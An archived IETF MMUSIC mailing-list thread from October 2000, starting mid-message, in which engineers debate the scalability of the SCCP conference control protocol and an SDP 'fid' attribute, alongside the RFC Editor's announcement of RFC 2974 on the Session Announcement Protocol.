> those taken in the LBNL whiteboard (SRM) or UCL NTE should be taken.

In the version of SCCP we actually implemented, we used that transport
because we had it available to us (separation of concern).  Old hands
of this WG remember that there were earlier attempts on the more
politically correct peer-to-peer basis (agreement protocol, anyone?),
which unfortunately never really worked out.  I continue to believe
the role-based approach of SCCP (use a coordinator for consistency, a
receptionist for generating refreshes, etc.) is exactly the right way
to do this.  The transport below that doesn't matter too much (we
would be using NORM these days, which would mean moving up the
coordinator function to SCCP).  SSM maybe changes the picture to make
the coordinator role even more appealing...

> I do not know the reason why SCCP is still mentioned on the MMUSIC charter.

Wild guess: Because it's still needed.

Gruesse, Carsten

From confctrl-owner  Wed Oct 11 12:03:59 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA17916
	for confctrl-outgoing; Wed, 11 Oct 2000 12:03:59 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA17904
	for <confctrl@zephyr.isi.edu>; Wed, 11 Oct 2000 12:03:57 -0700 (PDT)
Received: from ISI.EDU (jet.isi.edu [128.9.160.87])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24414;
	Wed, 11 Oct 2000 12:03:53 -0700 (PDT)
Message-Id: <200010111903.MAA24414@boreas.isi.edu>
To: IETF-Announce: ;
Subject: RFC 2974 on Session Announcement Protocol
Cc: rfc-ed@ISI.EDU, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Wed, 11 Oct 2000 12:03:53 -0700
From: RFC Editor <rfc-ed@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 2974

        Title:	    Session Announcement Protocol
        Author(s):  M. Handley, C. Perkins, E. Whelan
        Status:     Experimental
	Date:       October 2000
        Mailbox:    mjh@aciri.org, csp@ISI.EDU,
                    e.whelan@cs.ucl.ac.uk 
        Pages:      18
        Characters: 40129
        Updates/Obsoletes/SeeAlso:    none

        I-D Tag:    draft-ietf-mmusic-sap-v2-06.txt

        URL:        ftp://ftp.isi.edu/in-notes/rfc2974.txt


This document describes version 2 of the multicast session
directory announcement protocol, Session Announcement Protocol
(SAP), and the related issues affecting security and scalability that
should be taken into account by implementors.

This document is a product of the Multiparty Multimedia Session
Control Working Group of the IETF.

This memo defines an Experimental Protocol for the Internet community.
It does not specify an Internet standard of any kind.  Discussion and
suggestions for improvement are requested.  Distribution of this memo
is unlimited. 

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="RFC-INFO@RFC-EDITOR.ORG"

Content-Type: text/plain
Content-ID: <001011120211.RFC@RFC-EDITOR.ORG>

RETRIEVE: rfc
DOC-ID: rfc2974

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc2974.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <001011120211.RFC@RFC-EDITOR.ORG>

--OtherAccess--
--NextPart--

From confctrl-owner  Wed Oct 11 22:50:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA13285
	for confctrl-outgoing; Wed, 11 Oct 2000 22:50:37 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA13280
	for <confctrl@zephyr.isi.edu>; Wed, 11 Oct 2000 22:50:37 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id WAA05405
	for <confctrl@ISI.EDU>; Wed, 11 Oct 2000 22:50:48 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e9C5ojt24779;
	Thu, 12 Oct 2000 07:50:45 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id IAA22497;
	Thu, 12 Oct 2000 08:50:43 +0300 (EET DST)
Message-ID: <39E55120.4C00165F@lmf.ericsson.se>
Date: Thu, 12 Oct 2000 08:50:24 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>,
        Rohan Mahy <rohan@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com,
        Henning Schulzrinne <hgs@cs.columbia.edu>, mmusic <confctrl@ISI.EDU>
Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
References: <DBD1CC7CE357D211AECC009027158FD1033B976F@itmail-ict1-imc.wichi> <39E17C56.35D50F99@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I already checked with the guys of the AVT WG and we reached some
conclusions on this matter. The issue was what to do when RTP has to be
sent to different ports based on the codec used at any moment.

The conclusion is that two RTP streams will be used. Right below I
attach a small review of the thread and one open issue regarding the fid
attribute.

Feedback is appreciated,

************

Hi,

Henning Schulzrinne wrote:
> 
> Gonzalo Camarillo wrote:
> >
> 
> >
> > Yes, that is one of the concerns people have - RTCP. Anyway, this 3rd
> > party developed RTP library is just one among many examples. There are
> > other scenarios where this feature might be useful. For instance, when
> > the DTMF tones have to be received in a different device than the voice.
> 
> That is solvable in a far cleaner manner by having two voice sessions,
> one for regular audio and one for DTMF. The same applies to other
> scenarios. To the end system, this is just like mixing several sources.
> Implementing this gets you mixing and conferencing for free, so this is
> a Good Thing.

I am happy with this solution. However, I would like to signal it
properly to the other end.

That is, I receive the following description (in an INVITE for
instance).

         v=0
         o=John 289085535 289085535 IN IP4 first.example.com
         t=0 0
         c=IN IP4 111.111.111.111
         m=audio 20000 RTP/AVP 0
         m=audio 20002 RTP/AVP 8

This means that I will receive two media streams. The first one on port
number 20000 will use PCM u-law. The second one will arrive on port
number 20002 and will be using PCM A-law.
Actually I might receive media from both media streams simultaneously.
One of the media streams might contain the voice of the singer and the
other the background (public, guitars, ...) of the concert.


I would like to differentiate this case from the following one.
Now I want to have a conversation with somebody. I want just to transmit
my voice. However, sometimes I will use PCM u-law and others PCM A-law.
The receiver wants to receive (due to any reason) different codecs on
different port numbers.

As we have discussed previously in this thread, we will establish two
media streams. But I want the receiver to know that I will never
transmit simultaneouly in both media streams.

I will transmit using one OR the other.

I would like my session description to look like:

         v=0
         o=John 289085535 289085535 IN IP4 first.example.com
         t=0 0
         c=IN IP4 111.111.111.111
         m=audio 20000 RTP/AVP 0
         a=fid:1
         m=audio 20002 RTP/AVP 8
         a=fid:1

If an implementation does not understand the fid attribute it will try
to mix the audio streams. Since one is "empty" all the time, doing this
is not really a big deal. Thus, backwards compatibility is not a
concern.

Do you have any concerns with this approach?

RTP and RTCP remain untouched.

Actually, this discussion began being very much RTP related, but now we
are moving to MMUSIC or SIP probably...

Best regards,

Gonzalo
************

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Oct 12 00:08:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA16559
	for confctrl-outgoing; Thu, 12 Oct 2000 00:08:43 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA16554
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 00:08:42 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id AAA21373
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 00:08:53 -0700 (PDT)
From: Dirk.Trossen@nokia.com
Received: from esebh01nok.ntc.nokia.com (esebh01nok.ntc.nokia.com [131.228.118.150])
	by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e9C78iK03458;
	Thu, 12 Oct 2000 10:08:44 +0300 (EET DST)
Received: by esebh01nok with Internet Mail Service (5.5.2652.78)
	id <4V86JSGN>; Thu, 12 Oct 2000 10:08:43 +0300
Message-ID: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA2@dueis02nok>
To: cabo@Informatik.Uni-Bremen.DE, Gonzalo.Camarillo@lmf.ericsson.se,
        confctrl@ISI.EDU
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 10:08:40 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

Let me introduce myself as at least one person working on the followup 
version of SCCP (I suppose Carsten had my name in mind when writing this).

The current status is somewhat of becoming stable. However, there is
no exact date when to provide this as a renewed version to the
group since I'm currently busy with some other business (moving to
another country). However, I'll keep the working group updated
when there's a draft to discuss.

Concerning the question of mentioning SCCP in the charter (and also in
the current conferencing architecture draft), I fully agree with
Carsten's comment: It's still needed. 

Regarding Christoph's comment about using 'tightly-coupled' approaches
for several hundreds or even thousands of users, I don't think that
this is the group of interest when having applications for this
in mind. Nobody would use H.323 for town-meetings of several hundreds
of people. However, it might be interesting to propose a version of SCCP
which scales to some kind of number; the higher, the better. For that,
the services have to be designed to scale to some extent which is 
basically the ongoing work concerning SCCP.

Regards




Dirk
---------------------------
Dirk Trossen
Research Engineer
Nokia Research
Heltorfer Str. 21
D-40472 Duesseldorf
Tel.: +49 (211) 9412 3495
mob.: +49 (173) 5452420
Fax : +49 (211) 9412 3329
---------------------------


> -----Original Message-----
> From: EXT Carsten Bormann [mailto:cabo@Informatik.Uni-Bremen.DE]
> Sent: Wednesday, October 11, 2000 8:03 PM
> To: Gonzalo Camarillo; mmusic
> Subject: Re: SCCP
> 
> 
> Christoph Reichert writes:
> > as far as I know, there was no further development of SCCP since I
> > stopped working on it in 1997.
> 
> Actually, there is renewed interest, and we know of at least one
> person working on a followup version.  I'll leave it to him to make
> that work known to this group when he decides to do so.
> 
> > Although I believe the services SCCP provides are still those needed
> > for more controlled sessions (membership-, application-, 
> floor control,
> > capability exchange), I discourage from following the 
> approach taken by
> > SCCP.
> > 
> > The biggest disadvantage is that it depends heavily on a 
> reliable, totally
> > ordered N to N multicast transport. Such a thing is currently "not
> > on the radar", and unlikly to be scalable anyway.
> >
> > If and when more "tighly controlled" sessions should scale 
> up to some
> > hundreds or even thousands of members, and ALF based approach like
> > those taken in the LBNL whiteboard (SRM) or UCL NTE should be taken.
> 
> In the version of SCCP we actually implemented, we used that transport
> because we had it available to us (separation of concern).  Old hands
> of this WG remember that there were earlier attempts on the more
> politically correct peer-to-peer basis (agreement protocol, anyone?),
> which unfortunately never really worked out.  I continue to believe
> the role-based approach of SCCP (use a coordinator for consistency, a
> receptionist for generating refreshes, etc.) is exactly the right way
> to do this.  The transport below that doesn't matter too much (we
> would be using NORM these days, which would mean moving up the
> coordinator function to SCCP).  SSM maybe changes the picture to make
> the coordinator role even more appealing...
> 
> > I do not know the reason why SCCP is still mentioned on the 
> MMUSIC charter.
> 
> Wild guess: Because it's still needed.
> 
> Gruesse, Carsten
> 

From confctrl-owner  Thu Oct 12 02:33:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA22414
	for confctrl-outgoing; Thu, 12 Oct 2000 02:33:22 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA22406
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 02:33:20 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA23654
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 02:33:32 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id LAA21902;
	Thu, 12 Oct 2000 11:33:29 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id LAA04435;
	Thu, 12 Oct 2000 11:33:29 +0200 (MET DST)
Date: Thu, 12 Oct 2000 11:33:29 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Dirk.Trossen@nokia.com
Cc: cabo@informatik.uni-bremen.de, Gonzalo.Camarillo@lmf.ericsson.se,
        confctrl@ISI.EDU
Subject: Re: SCCP
Message-ID: <20001012113329.A4397@fokus.gmd.de>
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA2@dueis02nok>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA2@dueis02nok>; from Dirk.Trossen@nokia.com on Thu, Oct 12, 2000 at 10:08:40AM +0300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, Oct 12, 2000 at 10:08:40AM +0300, Dirk.Trossen@nokia.com wrote:
> Hi all,
> 
> Let me introduce myself as at least one person working on the followup 
> version of SCCP (I suppose Carsten had my name in mind when writing this).
> 
> The current status is somewhat of becoming stable. However, there is
> no exact date when to provide this as a renewed version to the
> group since I'm currently busy with some other business (moving to
> another country). However, I'll keep the working group updated
> when there's a draft to discuss.
> 
> Concerning the question of mentioning SCCP in the charter (and also in
> the current conferencing architecture draft), I fully agree with
> Carsten's comment: It's still needed. 
> 
> Regarding Christoph's comment about using 'tightly-coupled' approaches
> for several hundreds or even thousands of users, I don't think that
> this is the group of interest when having applications for this
> in mind. Nobody would use H.323 for town-meetings of several hundreds
> of people. However, it might be interesting to propose a version of SCCP
> which scales to some kind of number; the higher, the better. For that,
> the services have to be designed to scale to some extent which is 
> basically the ongoing work concerning SCCP.

Agreed, nobody would use H.323 for large meetings, eg. IETF plenary sessions.
But this is simply because H.323 does not scale.

WB has been tested with thousands, and NTE with hundreds of members.
If this is possible for data applications, then it should also be possible
for control applications. And RTP based applications scale anyway.
So, if every component scales, the whole system scales.

Why is MMUSIC not the group for such things ? IETF WG meetings are
large sessions, and the plenaries are even larger. It seems natural
to me to make things scale at least to this order because there is at
least one existing need: our own.

I believe there is still a great misunderstanding concerning the term
"tighly-coupled" sessions. IMHO, "tighly-coupled" sessions have nothing
to do with the transport beeing used. "Tightly coupled" sessions simply
means more exchange of control information to make user's life easier
and to allow more interaction than in a "crowd around an attraction".
It is still believed that for "more control" in sessions, a reliable
transport layer is needed (I believed it, too). As NTE and WB demonstrate, 
there are better ways.

Anyway, I am curiuos about your SCCP extensions.

cheers, chris

From confctrl-owner  Thu Oct 12 02:55:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA23358
	for confctrl-outgoing; Thu, 12 Oct 2000 02:55:44 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA23353
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 02:55:42 -0700 (PDT)
Received: from mgw-x3.nokia.com (mgw-x3.nokia.com [131.228.20.26])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA28452
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 02:55:54 -0700 (PDT)
From: Dirk.Trossen@nokia.com
Received: from esebh01nok.ntc.nokia.com (esebh01nok.ntc.nokia.com [131.228.118.150])
	by mgw-x3.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e9C9taB23279;
	Thu, 12 Oct 2000 12:55:36 +0300 (EET DST)
Received: by esebh01nok with Internet Mail Service (5.5.2652.78)
	id <4YA35AFN>; Thu, 12 Oct 2000 12:55:35 +0300
Message-ID: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA4@dueis02nok>
To: reichert@fokus.gmd.de, Dirk.Trossen@nokia.com
Cc: cabo@informatik.uni-bremen.de, Gonzalo.Camarillo@lmf.ericsson.se,
        confctrl@ISI.EDU
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 12:55:28 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

there was some kind of misunderstanding concerning the term 'group'.
Definitely, MMUSIC is the group to discuss SCCP and related approaches.
I meant to say that supporting thousands of participants is not usually
within the scope of tightly-coupled conferences.

Concerning the term 'tightly-coupled', you're right that there is
some kind of misunderstanding. It does not imply that reliable
transport or even unicast transport is a must to be used, e.g. as in
the H.323.

Regards



Dirk

> -----Original Message-----
> From: EXT Christoph Reichert [mailto:reichert@fokus.gmd.de]
> Sent: Thursday, October 12, 2000 11:33 AM
> To: Dirk.Trossen@nokia.com
> Cc: cabo@informatik.uni-bremen.de; Gonzalo.Camarillo@lmf.ericsson.se;
> confctrl@ISI.EDU
> Subject: Re: SCCP
> 
> 
> On Thu, Oct 12, 2000 at 10:08:40AM +0300, 
> Dirk.Trossen@nokia.com wrote:
> > Hi all,
> > 
> > Let me introduce myself as at least one person working on 
> the followup 
> > version of SCCP (I suppose Carsten had my name in mind when 
> writing this).
> > 
> > The current status is somewhat of becoming stable. However, there is
> > no exact date when to provide this as a renewed version to the
> > group since I'm currently busy with some other business (moving to
> > another country). However, I'll keep the working group updated
> > when there's a draft to discuss.
> > 
> > Concerning the question of mentioning SCCP in the charter 
> (and also in
> > the current conferencing architecture draft), I fully agree with
> > Carsten's comment: It's still needed. 
> > 
> > Regarding Christoph's comment about using 'tightly-coupled' 
> approaches
> > for several hundreds or even thousands of users, I don't think that
> > this is the group of interest when having applications for this
> > in mind. Nobody would use H.323 for town-meetings of 
> several hundreds
> > of people. However, it might be interesting to propose a 
> version of SCCP
> > which scales to some kind of number; the higher, the 
> better. For that,
> > the services have to be designed to scale to some extent which is 
> > basically the ongoing work concerning SCCP.
> 
> Agreed, nobody would use H.323 for large meetings, eg. IETF 
> plenary sessions.
> But this is simply because H.323 does not scale.
> 
> WB has been tested with thousands, and NTE with hundreds of members.
> If this is possible for data applications, then it should 
> also be possible
> for control applications. And RTP based applications scale anyway.
> So, if every component scales, the whole system scales.
> 
> Why is MMUSIC not the group for such things ? IETF WG meetings are
> large sessions, and the plenaries are even larger. It seems natural
> to me to make things scale at least to this order because there is at
> least one existing need: our own.
> 
> I believe there is still a great misunderstanding concerning the term
> "tighly-coupled" sessions. IMHO, "tighly-coupled" sessions 
> have nothing
> to do with the transport beeing used. "Tightly coupled" 
> sessions simply
> means more exchange of control information to make user's life easier
> and to allow more interaction than in a "crowd around an attraction".
> It is still believed that for "more control" in sessions, a reliable
> transport layer is needed (I believed it, too). As NTE and WB 
> demonstrate, 
> there are better ways.
> 
> Anyway, I am curiuos about your SCCP extensions.
> 
> cheers, chris
> 

From confctrl-owner  Thu Oct 12 04:14:20 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA26305
	for confctrl-outgoing; Thu, 12 Oct 2000 04:14:20 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA26300
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 04:14:18 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA13502
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 04:14:29 -0700 (PDT)
Received: from cabo3 (dienstmann.informatik.uni-bremen.de [134.102.218.46])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e9CBEMg10516;
	Thu, 12 Oct 2000 13:14:22 +0200 (MEST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: <Dirk.Trossen@nokia.com>, <reichert@fokus.gmd.de>
Cc: <cabo@Informatik.Uni-Bremen.DE>, <Gonzalo.Camarillo@lmf.ericsson.se>,
        <confctrl@ISI.EDU>
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 13:14:22 +0200
Message-ID: <NDBBLDHFKCPEPDKNKJBKKEIGENAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA4@dueis02nok>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Concerning the term 'tightly-coupled', you're right that there is
> some kind of misunderstanding. It does not imply that reliable
> transport or even unicast transport is a must to be used, e.g. as in
> the H.323.

Of course tightly-coupled implies a reliability protocol, otherwise you have
little assurance that the state of the participants converges.  Whether
reliability is a transport function or a property of the application
protocol, and whether it is achived by saturation (endless repetition),
forward error correction, or retransmissions, does not really make a
difference (and I think this is what you are addressing).

Of course, there are various aspects that together could be called tightly
coupled.  State convergence is one.  Another requirement in many conferences
is the execution of a common policy with respect to member requirements and
requests -- this is much harder to scale.

Gruesse, Carsten


From confctrl-owner  Thu Oct 12 04:24:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA26873
	for confctrl-outgoing; Thu, 12 Oct 2000 04:24:55 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA26868
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 04:24:54 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA15177
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 04:25:05 -0700 (PDT)
From: Dirk.Trossen@nokia.com
Received: from esebh01nok.ntc.nokia.com (esebh01nok.ntc.nokia.com [131.228.118.150])
	by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e9CBOqK01432;
	Thu, 12 Oct 2000 14:24:52 +0300 (EET DST)
Received: by esebh01nok with Internet Mail Service (5.5.2652.78)
	id <4YA35H9R>; Thu, 12 Oct 2000 14:24:44 +0300
Message-ID: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA5@dueis02nok>
To: cabo@tzi.org, reichert@fokus.gmd.de
Cc: cabo@Informatik.Uni-Bremen.DE, Gonzalo.Camarillo@lmf.ericsson.se,
        confctrl@ISI.EDU
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 14:24:33 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

I agree with your reliability point. It covers mainly what I meant to say.

I guess that the policy issue goes into the direction of implementing 
some kind of access control or application state synchronization. 
I strongly agree that this is much harder to provide in a scalable manner 
if you do not accept temporary inconsistencies of the associated state. 
This is basically one of the tasks in the revision of the SCCP draft by
providing a scalable (whatever number this might be) floor control service.

Regards



Dirk

> -----Original Message-----
> From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> Sent: Thursday, October 12, 2000 1:14 PM
> To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> Cc: cabo@Informatik.Uni-Bremen.DE; Gonzalo.Camarillo@lmf.ericsson.se;
> confctrl@ISI.EDU
> Subject: RE: SCCP
> 
> 
> > Concerning the term 'tightly-coupled', you're right that there is
> > some kind of misunderstanding. It does not imply that reliable
> > transport or even unicast transport is a must to be used, e.g. as in
> > the H.323.
> 
> Of course tightly-coupled implies a reliability protocol, 
> otherwise you have
> little assurance that the state of the participants 
> converges.  Whether
> reliability is a transport function or a property of the application
> protocol, and whether it is achived by saturation (endless 
> repetition),
> forward error correction, or retransmissions, does not really make a
> difference (and I think this is what you are addressing).
> 
> Of course, there are various aspects that together could be 
> called tightly
> coupled.  State convergence is one.  Another requirement in 
> many conferences
> is the execution of a common policy with respect to member 
> requirements and
> requests -- this is much harder to scale.
> 
> Gruesse, Carsten
> 

From confctrl-owner  Thu Oct 12 04:57:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA28297
	for confctrl-outgoing; Thu, 12 Oct 2000 04:57:34 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA28292
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 04:57:33 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA22019
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 04:57:44 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e9CBvdt08975;
	Thu, 12 Oct 2000 13:57:40 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id OAA19749;
	Thu, 12 Oct 2000 14:57:33 +0300 (EET DST)
Message-ID: <39E5A719.62F31D07@lmf.ericsson.se>
Date: Thu, 12 Oct 2000 14:57:13 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Dirk.Trossen@nokia.com
CC: cabo@tzi.org, reichert@fokus.gmd.de, cabo@Informatik.Uni-Bremen.DE,
        confctrl@ISI.EDU
Subject: Re: SCCP
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA5@dueis02nok>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

SIP is not meant for tightly-coupled sessions. However, there are some
drafts that provide certain call control using SIP. For example these
two:

http://www.cs.columbia.edu/sip/drafts/draft-ietf-sip-cc-transfer-01.txt
http://www.cs.columbia.edu/sip/drafts/draft-rosenberg-sip-3pcc-00.txt

I assume that the difference between a protocol for tightly-coupled
sessions such as SCCP and SIP with these call control extensions is that
SCCP provides a much higher degree of control. Am I right?

Thanks,

Gonzalo

Dirk.Trossen@nokia.com wrote:
> 
> Hi all,
> 
> I agree with your reliability point. It covers mainly what I meant to say.
> 
> I guess that the policy issue goes into the direction of implementing
> some kind of access control or application state synchronization.
> I strongly agree that this is much harder to provide in a scalable manner
> if you do not accept temporary inconsistencies of the associated state.
> This is basically one of the tasks in the revision of the SCCP draft by
> providing a scalable (whatever number this might be) floor control service.
> 
> Regards
> 
> Dirk
> 
> > -----Original Message-----
> > From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> > Sent: Thursday, October 12, 2000 1:14 PM
> > To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> > Cc: cabo@Informatik.Uni-Bremen.DE; Gonzalo.Camarillo@lmf.ericsson.se;
> > confctrl@ISI.EDU
> > Subject: RE: SCCP
> >
> >
